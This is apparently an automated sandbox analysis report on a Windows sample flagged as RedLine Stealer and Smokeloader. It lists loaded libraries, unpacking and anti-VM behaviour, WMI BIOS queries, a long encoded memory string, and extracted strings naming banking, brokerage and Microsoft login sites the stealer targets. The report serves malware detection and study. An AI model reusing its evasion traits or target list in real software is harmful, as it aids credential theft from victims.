Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_0215AC89	0_2_0215AC89
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_0214BCB9	0_2_0214BCB9
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_02138CC7	0_2_02138CC7
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_02170D67	0_2_02170D67
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_02135D67	0_2_02135D67
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_02151D97	0_2_02151D97
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_02132DA7	0_2_02132DA7
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_02139DD7	0_2_02139DD7
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_02147DFA	0_2_02147DFA
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_0215FDE4	0_2_0215FDE4

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: String function: 00408280 appears 47 times
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: String function: 021384E7 appears 71 times
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: String function: 02144E87 appears 145 times
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: String function: 00414C20 appears 145 times

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1808 -s 1756

Source: m4lz5aeAiN.exe, 00000000.00000000.2207748070.000000000044E000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesOriginal4 vs m4lz5aeAiN.exe
Source: m4lz5aeAiN.exe, 00000000.00000003.2216685643.0000000000803000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesOriginal4 vs m4lz5aeAiN.exe
Source: m4lz5aeAiN.exe	Binary or memory string: OriginalFilenamesOriginal4 vs m4lz5aeAiN.exe

Source: m4lz5aeAiN.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2334487456.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: m4lz5aeAiN.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/5@1/1

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

Code function: 0_2_005D07A6 CreateToolhelp32Snapshot,Module32First,

0_2_005D07A6

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

Code function: 0_2_0043D0D0 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

0_2_0043D0D0

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1808

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\ab69c988-c6da-48c9-b79f-cb0f04befa99

Jump to behavior

Source: m4lz5aeAiN.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: m4lz5aeAiN.exe, 00000000.00000003.2257533300.0000000002EF0000.00000004.00000800.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000003.2242199727.0000000002E48000.00000004.00000800.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000003.2257349612.0000000002E48000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: m4lz5aeAiN.exe	ReversingLabs: Detection: 47%
Source: m4lz5aeAiN.exe	Virustotal: Detection: 38%

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

File read: C:\Users\user\Desktop\m4lz5aeAiN.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\m4lz5aeAiN.exe "C:\Users\user\Desktop\m4lz5aeAiN.exe"
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1808 -s 1756

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

Unpacked PE file: 0.2.m4lz5aeAiN.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

Unpacked PE file: 0.2.m4lz5aeAiN.exe.400000.0.unpack

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_004499A1 push esp; ret	0_2_004499A2
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_0044AAD0 push ecx; retn 0041h	0_2_0044AAD5
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_005D30C7 push 0F56897Eh; iretd	0_2_005D30DF
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_005D2361 push 00000004h; ret	0_2_005D2375
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_005D646F push ebp; ret	0_2_005D6470
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_005D3CDA push esi; retn 001Ch	0_2_005D3CDE
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 0_2_02161A8C pushad ; retf 0044h	0_2_02161A93

Source: m4lz5aeAiN.exe

Static PE information: section name: .text entropy: 7.83677022485551

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe TID: 6756

Thread sleep time: -150000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: m4lz5aeAiN.exe, 00000000.00000002.2335373238.0000000002E30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: eFY02zHxbIhn2dY1E60Ds3h2FFs3IcAoGGTLcNAdRBQUIJEVg/ovCXRTUepndOmYat2jrNqqBuWNgaGWfVqqYuH/A7XSSjYMFTLKZ4wZnSoDq3yWLctBu1VqqSoq0Tvls2kackMH2VC0hk6yY6kauAdK1YEOJdCBUz5rjqnXCsiOI9ty3S7bjmWQ0fkccAYVJE2NYXm7oaGpGZZBZqsZFINmRi/NhkE1JoKGaDoNszmOabSeDdNsdoAhqa2JxMTaA32gVAQwqd4QAI0UvWkTXdZhkfoZE6U0TaBamt16Vgy7Kc+2bWdgVDaVbdMg11EGdjlGh/5rjBlWtPTGGGxHNbizVc+K4jRUVDSTT3vVbplmc1ptQzHMhkq26tgGqaRUL+CemIWyQ90yoB9UqAgwD2rDipajW1qjB902uTNXg7QsQ2sxWAq3YukomCXHGWjQSrFLQ1myYjesoGsa962KwFIMp+UakCJDy6odhtAaM2XJMqa+HpVhGlpTBxNKtWbKVFWnXk2yIcO0TXrFkVXy1YpAk83mIA1b0dWmADin2Ry0amE1qdpAr8eo0kxiMuSSRsf0NpQyVNXQyV9LAsQESKgDDWxvI+5plRl0mqyGVphMRWs8q6am0mSrpUR0YjkNNeEv5G7awCnfaJaJwFQPjJtiAJ5SpmbKttIMZpYu80BSdSqT7Rsuq+o8GtZ9WpgqUKjFMBRL1uXGutdkzajoHcuBUZyBXTwqKixgDQxyV54KHBvuiWWsly+og4Ep/POJh2vbgHq2cPEnsU5NpTT0E7eb7hgDW4yBv9DhxgOKJnbxBmnBgRS1lGtbWAgU/kzxaGoyOahRPGoy5RS4kFALDm+SUrolLecKY4quXOi6Zcu6pL3Jy6Vumhe6ptiWJaUsY/k8iJZEIJuy5CmBjUiiXuiqqUPlzySOMjdXXw0ZJOQE0tubykzHhgxVtWxFchxjpSH0oB0Ly5Qc/22OWXDQhwVrS/OFt7Rs1cIzQpwp5c7vqRsFazcP4oit3SB0N3m8CMIQFI7hKBIWmEYBmHo0TEVic19bKhaNwjAR3fJkEMaks+aAVJrLylug2cYF9Y8OAmWpLk1ZJwU0w5GcxYItHRoTsgYWBNMsF2tKJXrbBj/G763c/PcNSwOWvRqvwTqBZTLo9/oZ5KvXlPlByrz8dZOGGcQgucCWvqvNNT5O3VEcyTdt31cd6tZQHZiOzQcZC8E22ETZKkgudAP+oUn2G+KcQQbBErMtKVCZBX1tsjmSu2SuFLZCAqXhI9FKzFE906Z2Be2GpMiub+uyTB2beHZ83XMdHeNHIAN/4LMoDxZbf05vsAqlTzcMWZ5kn2EQvW8S382ZMJYjBW++Y1oatCZgYUqKp9u6TaNSIF2TEDvtQNfQGaUsS7L0JVKfbZGyWA+S5rE3OIx9oWGlORaMqS90h6xgIArp0pvuywtTd7hyCA1zsj5AzYXmAOlYkuN5JpKphnYFwV7y48/ITdP4M/PSOAzJ/HkaLJcsjdjnhQbDyaoUAa+FMRwoWhJBvMnzeLkMaVCYG1NaWHN/aSrkxVjgiuRb9tsS8Q4WhQcbkim7iMoyOZgJl5OYrQOnOTSVgGNwOB/E3uIC6RH4THKNpfamWGBHPLBt6Lhm3xM34g7ygXlCorNUKYPh8ZZ5braau967FwbeO5o1pHIsdubrKoaNNYEeMvcDymdblm2CC0Q5VXMkOQgYohlMadka/PhNe/MD3YKpEXhNQ4LhdYiADEA6OJjsMUXFJKIDUh4dyJpiEbehY8xIhAvThNKKRcv0Q3mFBaMYnhF4fO1h6ZMFsw1XStckRVu+LYDkoBAWriOp3mrhmjo9a+gZHWRMVWxqhmGkwPDYyjKMCw0Og3WVeEka+xsvn29TtmTfWbTJ0IYJkyXVZTogEvk0Ug/cTvdVBjxCPm0bNBY/sA3VxFhkhdzQsFcLBz6uGXB1DV0nbobJw9jhNYa0gG/En+48ZFhmCFIXmuZoqiopbM5c3YRODtzXlizVX/mAitADqNeW5oaJtWpjpinGWLCK8urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuVsgyJgRjoLosLTOWYnCQQNUD+mHRChOMZhQemhTYAQZgYPXrgAlY7arGVNjsQrU1hANJXXgrvFAvKP9iwWKe4wjrnFHs+Z6nrkdzDfsQ7pfwBivJDdeBjyC8ZBrYMHeatMrX4SJ1l2vEDg/GZZwN3qvaQEOk1nsYI0nQhADMY/hZsIxYmq3ilFF3yHgGzY6tEzFmBea/UBzFhAmYb1oqHrA2HYnHoIDc0qDg5jN/iSm+UGwHYbQqqkRJVpdhCsWfEsDQs2YatlmgMvGsygRH9PIZM241n1Wg2QJriGdD15v8AEBGUz5wmlUAhSdeuRka5XGneIZTmGpDHsAMQJpeyqP8xYFGCRUAjTnqs8pnAw7ZfJaRM+v+EFLwrtaPnqkMBbgxavDBYWANPixOUg4B+VzjJUjJYCBsUJclzNAchyM4pexDM02OhsoxyzrVD0C6Arsg91oEjxRVPKLcNQkNKVbxTCUW6soC2egIZoCPA7t4NFXTGOgK4Ztqmq9iAIBoyJ0taxTdWMw6zUbRFVnX0UrMS8+qbjpa49lGwqehC3MjgPLqrkBUFpyDPwpFUfupRlk6QW9NIcWAwPgjCgxdK6okaC1DF0K1ohFZDl5jASmKR3itQzUXpUraHaACX6vQ/9XAsTV4DSBo7dk3QZrlT5uo4dswPOpnsJUzg7nmNYtWoEgESZWcUTH2xOwuFIKgJgfVnHTK+JLmAb/RowJPMKhAsCv3xIKp3A3J0bIrT6Kneikg7dvk+GJmkHFttaJEguSLSv129ueZxPU8u/jjbOh58SbK79gHC6fbyHtiXugGa2piEQXxG+bmG0Cus4t/nq2zXfIR5aooh8B19rBJQYmQ20FE
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: m4lz5aeAiN.exe, 00000000.00000003.2240350139.0000000000802000.00000004.00000020.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000002.2334614463.0000000000802000.00000004.00000020.00020000.00000000.sdmp, m4lz5aeAiN.exe, 00000000.00000002.2334614463.00000000007BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-42 27 80 4d 99 30 0e 9c-c1 9b 2a 23 ea 1f c4 20
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: m4lz5aeAiN.exe, 00000000.00000003.2256756547.0000000002E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
